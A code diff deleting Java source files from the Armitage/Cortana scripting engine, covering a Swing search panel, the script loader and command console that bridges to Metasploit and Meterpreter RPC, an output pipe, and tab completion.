||||||
scrollToIndex();
|
|
||||||
}
|
|
||||||
else if (event.getActionCommand().equals("<")) {
|
|
||||||
index--;
|
|
||||||
scrollToIndex();
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
searchBuffer();
|
|
||||||
scrollToIndex();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private void scrollToIndex() {
|
|
||||||
Highlighter.Highlight highlights[] = component.getHighlighter().getHighlights();
|
|
||||||
|
|
||||||
if (highlights.length == 0) {
|
|
||||||
if (search.getText().trim().length() > 0)
|
|
||||||
status.setText("Phrase not found");
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
try {
|
|
||||||
if (index < 0) {
|
|
||||||
index = (highlights.length - 1) - index;
|
|
||||||
}
|
|
||||||
|
|
||||||
int offset = index % highlights.length;
|
|
||||||
|
|
||||||
status.setText((offset + 1) + " of " + highlights.length);
|
|
||||||
|
|
||||||
int position = highlights[offset].getStartOffset();
|
|
||||||
Rectangle location = component.modelToView(position);
|
|
||||||
component.scrollRectToVisible(location);
|
|
||||||
}
|
|
||||||
catch (BadLocationException ex) {
|
|
||||||
//...
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private void searchBuffer() {
|
|
||||||
clear();
|
|
||||||
|
|
||||||
String searchstr = search.getText().trim();
|
|
||||||
|
|
||||||
if (searchstr.length() == 0)
|
|
||||||
return;
|
|
||||||
|
|
||||||
Highlighter.HighlightPainter painter = new DefaultHighlighter.DefaultHighlightPainter( highlight );
|
|
||||||
|
|
||||||
try {
|
|
||||||
String text = component.getText();
|
|
||||||
|
|
||||||
/* another windows work-around... */
|
|
||||||
if ((System.getProperty("os.name") + "").indexOf("Windows") != -1) {
|
|
||||||
text = text.replaceAll("\r\n", "\n");
|
|
||||||
}
|
|
||||||
|
|
||||||
int lastIndex = -1;
|
|
||||||
while ((lastIndex = text.indexOf(searchstr, lastIndex + 1)) != -1) {
|
|
||||||
component.getHighlighter().addHighlight(
|
|
||||||
lastIndex,
|
|
||||||
lastIndex + searchstr.length(),
|
|
||||||
painter);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
catch (Exception ex) {
|
|
||||||
// ...
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
static void removeBorderFromButton(JButton button) {
|
|
||||||
button.setOpaque(false);
|
|
||||||
button.setContentAreaFilled(false);
|
|
||||||
button.setBorder(new EmptyBorder(2, 2, 2, 2));
|
|
||||||
}
|
|
||||||
|
|
||||||
public void requestFocus() {
|
|
||||||
search.requestFocus();
|
|
||||||
}
|
|
||||||
|
|
||||||
public void clear() {
|
|
||||||
component.getHighlighter().removeAllHighlights();
|
|
||||||
index = 0;
|
|
||||||
status.setText("");
|
|
||||||
}
|
|
||||||
|
|
||||||
public SearchPanel(JTextComponent component, Color highlight) {
|
|
||||||
this.component = component;
|
|
||||||
this.highlight = highlight;
|
|
||||||
|
|
||||||
setLayout(new BorderLayout());
|
|
||||||
setBorder(new EmptyBorder(1, 1, 1, 1));
|
|
||||||
|
|
||||||
/* init the buttons */
|
|
||||||
|
|
||||||
JButton previous = new JButton("<");
|
|
||||||
previous.setActionCommand("<");
|
|
||||||
|
|
||||||
JButton next = new JButton(">");
|
|
||||||
next.setActionCommand(">");
|
|
||||||
|
|
||||||
removeBorderFromButton(previous);
|
|
||||||
removeBorderFromButton(next);
|
|
||||||
|
|
||||||
previous.addActionListener(this);
|
|
||||||
next.addActionListener(this);
|
|
||||||
|
|
||||||
JPanel buttons = new JPanel();
|
|
||||||
buttons.setLayout(new GridLayout(1, 2));
|
|
||||||
|
|
||||||
buttons.add(previous);
|
|
||||||
buttons.add(next);
|
|
||||||
|
|
||||||
/* init the search field */
|
|
||||||
|
|
||||||
search = new JTextField(15);
|
|
||||||
search.addActionListener(this);
|
|
||||||
|
|
||||||
add(search, BorderLayout.WEST);
|
|
||||||
|
|
||||||
/* holder */
|
|
||||||
|
|
||||||
JPanel holder = new JPanel();
|
|
||||||
holder.setLayout(new FlowLayout());
|
|
||||||
|
|
||||||
holder.add(new JLabel("Find: "));
|
|
||||||
holder.add(search);
|
|
||||||
holder.add(buttons);
|
|
||||||
|
|
||||||
add(holder, BorderLayout.WEST);
|
|
||||||
|
|
||||||
/* label for count information */
|
|
||||||
|
|
||||||
status = new JLabel("");
|
|
||||||
add(status, BorderLayout.CENTER);
|
|
||||||
}
|
|
||||||
}
|
|
|
@ -1,536 +0,0 @@
|
||||||
package cortana;
|
|
||||||
|
|
||||||
import msf.*;
|
|
||||||
import cortana.core.*;
|
|
||||||
import cortana.data.*;
|
|
||||||
import cortana.metasploit.*;
|
|
||||||
import cortana.support.*;
|
|
||||||
import cortana.gui.*;
|
|
||||||
|
|
||||||
import java.util.*;
|
|
||||||
import sleep.runtime.*;
|
|
||||||
import sleep.interfaces.*;
|
|
||||||
import sleep.error.*;
|
|
||||||
import sleep.bridges.io.*;
|
|
||||||
import java.io.*;
|
|
||||||
|
|
||||||
import java.text.*;
|
|
||||||
|
|
||||||
import armitage.*;
|
|
||||||
|
|
||||||
public class Cortana implements Loadable, RuntimeWarningWatcher {
|
|
||||||
/** log all module launches and post-exploitation interaction */
|
|
||||||
public static final int DEBUG_INTERACT_LOG = 256;
|
|
||||||
|
|
||||||
/** ask for permission to launch a module or carry out a post-exploitation action */
|
|
||||||
public static final int DEBUG_INTERACT_ASK = 512;
|
|
||||||
|
|
||||||
protected RpcConnection client; /* connection to metasploit */
|
|
||||||
protected RpcConnection dserver; /* deconfliction server */
|
|
||||||
|
|
||||||
protected ArmitageApplication application = null;
|
|
||||||
protected Properties preferences = null;
|
|
||||||
protected Shared shared = null;
|
|
||||||
|
|
||||||
protected EventManager events;
|
|
||||||
protected FilterManager filters;
|
|
||||||
protected CommandManager commands;
|
|
||||||
protected DataManager data;
|
|
||||||
|
|
||||||
protected MetasploitBridge metasploit;
|
|
||||||
protected MeterpreterBridge meterpreter;
|
|
||||||
protected ShellBridge shell;
|
|
||||||
protected ConsoleBridge console;
|
|
||||||
protected Loadable log = null;
|
|
||||||
protected Loadable locks = null;
|
|
||||||
protected Loadable keys = null;
|
|
||||||
protected Loadable menus = null;
|
|
||||||
protected Loadable ui = null;
|
|
||||||
protected Loadable utils = null;
|
|
||||||
|
|
||||||
/* some stuff related to I/O */
|
|
||||||
protected IOObject cortana_io = null;
|
|
||||||
protected CortanaPipe pipe = null;
|
|
||||||
|
|
||||||
/* a reference to the compiled version of our internal script, so we may reuse it */
|
|
||||||
protected Object internal = null;
|
|
||||||
protected Object internal_gui = null;
|
|
||||||
protected Object internal_gui2 = null;
|
|
||||||
|
|
||||||
protected boolean started = false;
|
|
||||||
|
|
||||||
public void scriptLoaded(ScriptInstance si) {
|
|
||||||
if (cortana_io != null)
|
|
||||||
IOObject.setConsole(si.getScriptEnvironment(), cortana_io);
|
|
||||||
}
|
|
||||||
|
|
||||||
/* setup a pointer to our armitage app. This will tell Cortana to start loading all
|
|
||||||
of the neat GUI stuff. */
|
|
||||||
public void setupArmitage(ArmitageApplication application, Properties preferences) {
|
|
||||||
/* a bridge for binding keyboard shortcuts */
|
|
||||||
keys = new KeyBridge(application);
|
|
||||||
|
|
||||||
/* a bridge for creating menus as needed */
|
|
||||||
MenuBuilder builder = new MenuBuilder(application);
|
|
||||||
application.setMenuBuilder(builder);
|
|
||||||
|
|
||||||
menus = builder.getBridge();
|
|
||||||
|
|
||||||
/* a bridge to assist with user-interface stuff */
|
|
||||||
ui = new UIBridge(application);
|
|
||||||
|
|
||||||
this.application = application;
|
|
||||||
this.preferences = preferences;
|
|
||||||
this.shared = new Shared();
|
|
||||||
}
|
|
||||||
|
|
||||||
public void scriptUnloaded(ScriptInstance si) {
|
|
||||||
}
|
|
||||||
|
|
||||||
public Shared getSharedData() {
|
|
||||||
return shared;
|
|
||||||
}
|
|
||||||
|
|
||||||
public Cortana(RpcConnection client, RpcConnection dserver, EventManager events, FilterManager filters) {
|
|
||||||
this.client = client;
|
|
||||||
this.dserver = dserver;
|
|
||||||
this.events = events;
|
|
||||||
this.filters = filters;
|
|
||||||
|
|
||||||
/* this bridge provides the lowest abstraction on top of Metasploit */
|
|
||||||
metasploit = new MetasploitBridge(client, dserver, events, filters);
|
|
||||||
|
|
||||||
/* this bridge provides a low-level abstraction on top of Meterpreter */
|
|
||||||
meterpreter = new MeterpreterBridge(client, dserver, events, filters);
|
|
||||||
|
|
||||||
/* this bridge provides an abstraction on top of a shell session */
|
|
||||||
shell = new ShellBridge(client, dserver, events, filters);
|
|
||||||
|
|
||||||
/* this bridge provides each script with a Metasploit console to work with */
|
|
||||||
console = new ConsoleBridge(client, events, filters);
|
|
||||||
|
|
||||||
/* this bridge fires events from the Cortana event log */
|
|
||||||
log = new EventLogBridge(client, dserver, events, filters);
|
|
||||||
|
|
||||||
/* this bridge adds a mechanism for requesting a lock and freeing it after use */
|
|
||||||
locks = new LockBridge(dserver, events);
|
|
||||||
|
|
||||||
/* this bridge polls Metasploit periodically and keeps track of sessions, services, and hosts */
|
|
||||||
data = new DataManager(dserver, events, client != dserver);
|
|
||||||
|
|
||||||
/* this bridge contains some useful utilities that don't belong elsewhere */
|
|
||||||
utils = new CortanaUtilities(metasploit);
|
|
||||||
|
|
||||||
/* this bridge adds an environment tool that allows scripts to register commands. Commands may
|
|
||||||
be used in stand-alone Cortana or from the Cortana console in Armitage */
|
|
||||||
commands = new CommandManager();
|
|
||||||
}
|
|
||||||
|
|
||||||
public void setupCallbackIO() {
|
|
||||||
/* setup our pipe for uniform I/O? */
|
|
||||||
pipe = new CortanaPipe();
|
|
||||||
cortana_io = new IOObject();
|
|
||||||
cortana_io.openWrite(pipe.getOutput());
|
|
||||||
|
|
||||||
/* may as well jimmy the MetasploitBridge script count, so a quit() doesn't force us to exit
|
|
||||||
if this function is being called, we're definitely running in Armitage */
|
|
||||||
metasploit.loadedScripts += 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
public void addTextListener(CortanaPipe.CortanaPipeListener l) {
|
|
||||||
pipe.addCortanaPipeListener(l);
|
|
||||||
}
|
|
||||||
|
|
||||||
private void p(String text) {
|
|
||||||
if (cortana_io != null) {
|
|
||||||
cortana_io.printLine(text);
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
System.out.println(text);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public void processScriptWarning(ScriptWarning warning) {
|
|
||||||
String from = warning.getNameShort() + ":" + warning.getLineNumber();
|
|
||||||
|
|
||||||
SimpleDateFormat format = new SimpleDateFormat("HH:mm:ss");
|
|
||||||
Date adate = new Date();
|
|
||||||
String niced = format.format(adate, new StringBuffer(), new FieldPosition(0)).toString();
|
|
||||||
|
|
||||||
if (warning.isDebugTrace()) {
|
|
||||||
p("[" + niced + "] Trace: " + warning.getMessage() + " at " + from);
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
p("[" + niced + "] " + warning.getMessage() + " at " + from);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public void filterList(List l, String filter) {
|
|
||||||
Iterator i = l.iterator();
|
|
||||||
while (i.hasNext()) {
|
|
||||||
String cmd = i.next() + "";
|
|
||||||
if (!cmd.startsWith(filter)) {
|
|
||||||
i.remove();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public String findScript(String script) {
|
|
||||||
Iterator i = scripts.keySet().iterator();
|
|
||||||
while (i.hasNext()) {
|
|
||||||
String name = i.next().toString();
|
|
||||||
File s = new File(name);
|
|
||||||
if (script.equals(s.getName())) {
|
|
||||||
return name;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
|
|
||||||
public List commandList(String filter) {
|
|
||||||
String[] data = filter.trim().split("\\s+");
|
|
||||||
|
|
||||||
if ("askon".equals(data[0]) ||
|
|
||||||
"askoff".equals(data[0]) ||
|
|
||||||
"logon".equals(data[0]) ||
|
|
||||||
"logoff".equals(data[0]) ||
|
|
||||||
"reload".equals(data[0]) ||
|
|
||||||
"pron".equals(data[0]) ||
|
|
||||||
"profile".equals(data[0]) ||
|
|
||||||
"proff".equals(data[0]) ||
|
|
||||||
"tron".equals(data[0]) ||
|
|
||||||
"unload".equals(data[0]) ||
|
|
||||||
"troff".equals(data[0])) {
|
|
||||||
/* construct list of potential reload commands */
|
|
||||||
List res = new LinkedList();
|
|
||||||
Iterator i = scripts.keySet().iterator();
|
|
||||||
while (i.hasNext()) {
|
|
||||||
res.add(data[0] + " " + new File(i.next() + "").getName());
|
|
||||||
}
|
|
||||||
|
|
||||||
/* filter this list */
|
|
||||||
filterList(res, filter);
|
|
||||||
Collections.sort(res);
|
|
||||||
return res;
|
|
||||||
}
|
|
||||||
else if ("load".equals(data[0]) && filter.length() > 5) {
|
|
||||||
filter = filter.replace("~", System.getProperty("user.home"));
|
|
||||||
|
|
||||||
/* construct list of potential reload commands */
|
|
||||||
String file = filter.substring(5);
|
|
||||||
File temp = new File(file);
|
|
||||||
if (!temp.exists() || !temp.isDirectory()) {
|
|
||||||
temp = temp.getParentFile();
|
|
||||||
}
|
|
||||||
|
|
||||||
List res = new LinkedList();
|
|
||||||
|
|
||||||
if (temp == null) {
|
|
||||||
res.add(filter);
|
|
||||||
return res;
|
|
||||||
}
|
|
||||||
|
|
||||||
File s[] = temp.listFiles();
|
|
||||||
for (int x = 0; s != null && x < s.length; x++) {
|
|
||||||
if (s[x].isDirectory() || s[x].getName().endsWith(".cna"))
|
|
||||||
res.add(data[0] + " " + s[x].getAbsolutePath());
|
|
||||||
}
|
|
||||||
|
|
||||||
/* filter this list */
|
|
||||||
filterList(res, filter);
|
|
||||||
Collections.sort(res);
|
|
||||||
return res;
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
List cmdl = commands.commandList(filter);
|
|
||||||
cmdl.add("askon");
|
|
||||||
cmdl.add("askoff");
|
|
||||||
cmdl.add("help");
|
|
||||||
cmdl.add("ls");
|
|
||||||
cmdl.add("reload");
|
|
||||||
cmdl.add("unload");
|
|
||||||
cmdl.add("load");
|
|
||||||
cmdl.add("logon");
|
|
||||||
cmdl.add("logoff");
|
|
||||||
cmdl.add("pron");
|
|
||||||
cmdl.add("proff");
|
|
||||||
cmdl.add("profile");
|
|
||||||
cmdl.add("tron");
|
|
||||||
cmdl.add("troff");
|
|
||||||
Collections.sort(cmdl);
|
|
||||||
filterList(cmdl, filter);
|
|
||||||
return cmdl;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/* process a Cortana command */
|
|
||||||
public void processCommand(String text) {
|
|
||||||
String[] data = text.trim().split("\\s+");
|
|
||||||
|
|
||||||
Set states = new HashSet();
|
|
||||||
states.add("tron");
|
|
||||||
states.add("troff");
|
|
||||||
states.add("profile");
|
|
||||||
states.add("pron");
|
|
||||||
states.add("proff");
|
|
||||||
states.add("logon");
|
|
||||||
states.add("logoff");
|
|
||||||
states.add("askon");
|
|
||||||
states.add("askoff");
|
|
||||||
|
|
||||||
Set cmds = new HashSet();
|
|
||||||
cmds.addAll(states);
|
|
||||||
cmds.add("unload");
|
|
||||||
cmds.add("load");
|
|
||||||
cmds.add("reload");
|
|
||||||
|
|
||||||
if ("ls".equals(text)) {
|
|
||||||
p("");
|
|
||||||
p("Scripts");
|
|
||||||
p("-------");
|
|
||||||
Iterator i = scripts.keySet().iterator();
|
|
||||||
while (i.hasNext()) {
|
|
||||||
String temp = (String)i.next();
|
|
||||||
if (temp != null) {
|
|
||||||
File script = new File(temp);
|
|
||||||
p(script.getName());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
p("");
|
|
||||||
}
|
|
||||||
else if (cmds.contains(data[0]) && data.length != 2) {
|
|
||||||
p("[-] Missing arguments");
|
|
||||||
}
|
|
||||||
else if (states.contains(data[0]) && data.length == 2) {
|
|
||||||
String script = findScript(data[1]);
|
|
||||||
if (script == null) {
|
|
||||||
p("[-] Could not find '" + data[1] + "'");
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
Loader loader = (Loader)scripts.get(script);
|
|
||||||
if ("askon".equals(data[0])) {
|
|
||||||
p("[+] Prompting actions for '" + data[1] + "'");
|
|
||||||
loader.setDebugLevel(Cortana.DEBUG_INTERACT_ASK);
|
|
||||||
}
|
|
||||||
else if ("askoff".equals(data[0])) {
|
|
||||||
p("[+] Stopped prompts from '" + data[1] + "'");
|
|
||||||
loader.unsetDebugLevel(Cortana.DEBUG_INTERACT_ASK);
|
|
||||||
}
|
|
||||||
else if ("logon".equals(data[0])) {
|
|
||||||
p("[+] Logging '" + data[1] + "'");
|
|
||||||
loader.setDebugLevel(Cortana.DEBUG_INTERACT_LOG);
|
|
||||||
}
|
|
||||||
else if ("logoff".equals(data[0])) {
|
|
||||||
p("[+] Stopped log of '" + data[1] + "'");
|
|
||||||
loader.unsetDebugLevel(Cortana.DEBUG_INTERACT_LOG);
|
|
||||||
}
|
|
||||||
else if ("tron".equals(data[0])) {
|
|
||||||
p("[+] Tracing '" + data[1] + "'");
|
|
||||||
loader.setDebugLevel(8);
|
|
||||||
}
|
|
||||||
else if ("troff".equals(data[0])) {
|
|
||||||
p("[+] Stopped trace of '" + data[1] + "'");
|
|
||||||
loader.unsetDebugLevel(8);
|
|
||||||
}
|
|
||||||
else if ("pron".equals(data[0])) {
|
|
||||||
p("[+] Profiling '" + data[1] + "'");
|
|
||||||
loader.setDebugLevel(24);
|
|
||||||
}
|
|
||||||
else if ("profile".equals(data[0]) || "proff".equals(data[0])) {
|
|
||||||
if ("proff".equals(data[0])) {
|
|
||||||
p("[+] Stopped profile of '" + data[1] + "'");
|
|
||||||
loader.unsetDebugLevel(24);
|
|
||||||
}
|
|
||||||
p("");
|
|
||||||
p("Profile " + data[1]);
|
|
||||||
p("-------");
|
|
||||||
loader.printProfile(cortana_io == null ? System.out : cortana_io.getOutputStream());
|
|
||||||
p("");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
else if ("unload".equals(data[0]) && data.length == 2) {
|
|
||||||
String script = findScript(data[1]);
|
|
||||||
if (script == null) {
|
|
||||||
p("[-] Could not find '" + data[1] + "'");
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
p("[+] Unload " + script);
|
|
||||||
unloadScript(script);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
else if ("load".equals(data[0]) && data.length == 2) {
|
|
||||||
p("[+] Load " + data[1]);
|
|
||||||
try {
|
|
||||||
loadScript(data[1]);
|
|
||||||
}
|
|
||||||
catch (YourCodeSucksException yex) {
|
|
||||||
p(yex.formatErrors());
|
|
||||||
}
|
|
||||||
catch (Exception ex) {
|
|
||||||
p("[-] Could not load: " + ex.getMessage());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
else if ("reload".equals(data[0]) && data.length == 2) {
|
|
||||||
String script = findScript(data[1]);
|
|
||||||
if (script == null) {
|
|
||||||
p("[-] Could not find '" + data[1] + "'");
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
p("[+] Reload " + script);
|
|
||||||
try {
|
|
||||||
unloadScript(script);
|
|
||||||
loadScript(script);
|
|
||||||
}
|
|
||||||
catch (java.io.IOException ioex) {
|
|
||||||
p("[-] Could not load: '" + data[1] + "' " + ioex.getMessage());
|
|
||||||
}
|
|
||||||
catch (YourCodeSucksException yex) {
|
|
||||||
p(yex.formatErrors());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
else if ("help".equals(text)) {
|
|
||||||
p("");
|
|
||||||
p("Commands");
|
|
||||||
p("--------");
|
|
||||||
Iterator i = commandList("").iterator();
|
|
||||||
while (i.hasNext()) {
|
|
||||||
p(i.next() + "");
|
|
||||||
}
|
|
||||||
p("");
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
if (!commands.fireCommand(data[0], text)) {
|
|
||||||
p("[-] Command not found");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public ConsoleClient getEventLog(console.Console window) {
|
|
||||||
return ((EventLogBridge)log).start(window);
|
|
||||||
}
|
|
||||||
|
|
||||||
public MeterpreterSession getSession(String sid) {
|
|
||||||
return meterpreter.getSession(sid);
|
|
||||||
}
|
|
||||||
|
|
||||||
public void updateLocalHost(String lhost) {
|
|
||||||
metasploit.setLocalHost(lhost);
|
|
||||||
}
|
|
||||||
|
|
||||||
public void start(String lhost) {
|
|
||||||
if (!started) {
|
|
||||||
metasploit.setLocalHost(lhost);
|
|
||||||
|
|
||||||
/* start grabbing data */
|
|
||||||
data.start();
|
|
||||||
|
|
||||||
/* start the timer thread */
|
|
||||||
new cortana.support.Heartbeat(events).start();
|
|
||||||
}
|
|
||||||
started = true;
|
|
||||||
}
|
|
||||||
|
|
||||||
protected Map scripts = new HashMap();
|
|
||||||
|
|
||||||
/* frees the specified script */
|
|
||||||
public void unloadScript(String file) {
|
|
||||||
Loader loader = (Loader)scripts.get(file);
|
|
||||||
if (loader == null)
|
|
||||||
return;
|
|
||||||
|
|
||||||
scripts.remove(file);
|
|
||||||
loader.unload();
|
|
||||||
}
|
|
||||||
|
|
||||||
public void loadScript(String file) throws YourCodeSucksException, java.io.IOException {
|
|
||||||
/* initialize our script loader */
|
|
||||||
Loader loader = new Loader(this);
|
|
||||||
|
|
||||||
/* check whether this script is already loaded or not */
|
|
||||||
if (scripts.containsKey(file)) {
|
|
||||||
throw new RuntimeException(file + " is already loaded");
|
|
||||||
}
|
|
||||||
|
|
||||||
/* install our other abstractions... */
|
|
||||||
loader.getScriptLoader().addGlobalBridge(events.getBridge());
|
|
||||||
loader.getScriptLoader().addGlobalBridge(filters.getBridge());
|
|
||||||
loader.getScriptLoader().addGlobalBridge(commands.getBridge());
|
|
||||||
loader.getScriptLoader().addGlobalBridge(data);
|
|
||||||
loader.getScriptLoader().addGlobalBridge(metasploit);
|
|
||||||
loader.getScriptLoader().addGlobalBridge(meterpreter);
|
|
||||||
loader.getScriptLoader().addGlobalBridge(shell);
|
|
||||||
loader.getScriptLoader().addGlobalBridge(console);
|
|
||||||
loader.getScriptLoader().addGlobalBridge(locks);
|
|
||||||
loader.getScriptLoader().addGlobalBridge(log);
|
|
||||||
loader.getScriptLoader().addGlobalBridge(utils);
|
|
||||||
loader.getScriptLoader().addGlobalBridge(this);
|
|
||||||
|
|
||||||
if (keys != null)
|
|
||||||
loader.getScriptLoader().addGlobalBridge(keys);
|
|
||||||
|
|
||||||
if (menus != null)
|
|
||||||
loader.getScriptLoader().addGlobalBridge(menus);
|
|
||||||
|
|
||||||
if (ui != null)
|
|
||||||
loader.getScriptLoader().addGlobalBridge(ui);
|
|
||||||
|
|
||||||
if (shared != null)
|
|
||||||
loader.getScriptLoader().addGlobalBridge(shared);
|
|
||||||
|
|
||||||
/* install some variables globally */
|
|
||||||
loader.setGlobal("$client", SleepUtils.getScalar(client));
|
|
||||||
loader.setGlobal("$mclient", SleepUtils.getScalar(dserver));
|
|
||||||
|
|
||||||
/* load and run internal stuff that is scripted (I tire of working in Java) */
|
|
||||||
internal = loader.loadInternalScript("scripts-cortana/internal.sl", internal);
|
|
||||||
|
|
||||||
/* load some GUI stuff */
|
|
||||||
if (keys != null || menus != null) {
|
|
||||||
loader.setGlobal("$armitage", SleepUtils.getScalar(application));
|
|
||||||
loader.setGlobal("$preferences", SleepUtils.getScalar(preferences));
|
|
||||||
loader.setGlobal("$shared", SleepUtils.getScalar(shared));
|
|
||||||
internal_gui = loader.loadInternalScript("scripts-cortana/internal-ui.sl", internal_gui);
|
|
||||||
internal_gui2 = loader.loadInternalScript("scripts-cortana/internal-ui-support.sl", internal_gui2);
|
|
||||||
}
|
|
||||||
|
|
||||||
/* load a script... */
|
|
||||||
final ScriptInstance script = loader.loadScript(file);
|
|
||||||
|
|
||||||
/* put this into our map of scripts */
|
|
||||||
scripts.put(file, loader);
|
|
||||||
|
|
||||||
/* fire ready event if we're already synced. This is an important signal for
|
|
||||||
cortana scripts */
|
|
||||||
new Thread(new Runnable() {
|
|
||||||
public void run() {
|
|
||||||
if (data.isReady()) {
|
|
||||||
events.fireEvent("ready", new Stack(), script);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}).start();
|
|
||||||
}
|
|
||||||
|
|
||||||
public Cortana(RpcConnection client, RpcConnection dserver, String[] scripts, String lhost) {
|
|
||||||
this(client, dserver, new EventManager(), new FilterManager());
|
|
||||||
|
|
||||||
for (int x = 0; x < scripts.length; x++) {
|
|
||||||
try {
|
|
||||||
loadScript(scripts[x]);
|
|
||||||
}
|
|
||||||
catch (YourCodeSucksException yex) {
|
|
||||||
System.err.println("Syntax errors in: " + scripts[x]);
|
|
||||||
yex.printErrors(System.out);
|
|
||||||
}
|
|
||||||
catch (java.io.IOException ioex) {
|
|
||||||
System.err.println("Could not load: " + scripts[x] + " " + ioex.getMessage());
|
|
||||||
ioex.printStackTrace();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/* start now that our scripts are loaded */
|
|
||||||
((EventLogBridge)log).start(null);
|
|
||||||
start(lhost);
|
|
||||||
}
|
|
||||||
}
|
|
|
@ -1,65 +0,0 @@
|
||||||
package cortana;
|
|
||||||
|
|
||||||
import java.io.*;
|
|
||||||
import java.util.*;
|
|
||||||
|
|
||||||
/* a pipe to receive output from Cortana and make it available in an event driven way to the user */
|
|
||||||
public class CortanaPipe implements Runnable {
|
|
||||||
protected PipedInputStream readme;
|
|
||||||
protected PipedOutputStream writeme;
|
|
||||||
|
|
||||||
public OutputStream getOutput() {
|
|
||||||
return writeme;
|
|
||||||
}
|
|
||||||
|
|
||||||
public CortanaPipe() {
|
|
||||||
try {
|
|
||||||
readme = new PipedInputStream(1024 * 1024 * 1);
|
|
||||||
writeme = new PipedOutputStream(readme);
|
|
||||||
}
|
|
||||||
catch (IOException ioex) {
|
|
||||||
ioex.printStackTrace();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public interface CortanaPipeListener {
|
|
||||||
public void read(String text);
|
|
||||||
}
|
|
||||||
|
|
||||||
protected List listeners = new LinkedList();
|
|
||||||
|
|
||||||
public void addCortanaPipeListener(CortanaPipeListener l) {
|
|
||||||
synchronized (this) {
|
|
||||||
listeners.add(l);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (listeners.size() == 1) {
|
|
||||||
new Thread(this).start();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public void run() {
|
|
||||||
BufferedReader in = new BufferedReader(new InputStreamReader(readme));
|
|
||||||
while (true) {
|
|
||||||
try {
|
|
||||||
String entry = in.readLine();
|
|
||||||
if (entry != null) {
|
|
||||||
synchronized (this) {
|
|
||||||
Iterator i = listeners.iterator();
|
|
||||||
while (i.hasNext()) {
|
|
||||||
CortanaPipeListener l = (CortanaPipeListener)i.next();
|
|
||||||
l.read(entry);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
catch (IOException ioex) {
|
|
||||||
try {
|
|
||||||
Thread.sleep(500);
|
|
||||||
}
|
|
||||||
catch (Exception ex) { }
|
|
||||||
//ioex.printStackTrace();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
|
@ -1,24 +0,0 @@
|
||||||
package cortana;
|
|
||||||
|
|
||||||
import armitage.GenericTabCompletion;
|
|
||||||
import console.Console;
|
|
||||||
import msf.*;
|
|
||||||
import java.util.*;
|
|
||||||
import java.awt.*;
|
|
||||||
import java.awt.event.*;
|
|
||||||
import javax.swing.*;
|
|
||||||
|
|
||||||
/* A generic class to manage reading/writing to a console. Keeps the code simpler (although the Sleep code to do this is
|
|
||||||
simpler than this Java code. *sigh* */
|
|
||||||
public class CortanaTabCompletion extends GenericTabCompletion {
|
|
||||||
protected Cortana engine;
|
|
||||||
|
|
||||||
public CortanaTabCompletion(Console window, Cortana engine) {
|
|
||||||
super(window);
|
|
||||||
this.engine = engine;
|
|
||||||
}
|
|
||||||
|
|
||||||
public Collection getOptions(String text) {
|
|
||||||
return engine.commandList(text);
|
|
||||||
}
|
|
||||||
}
|
|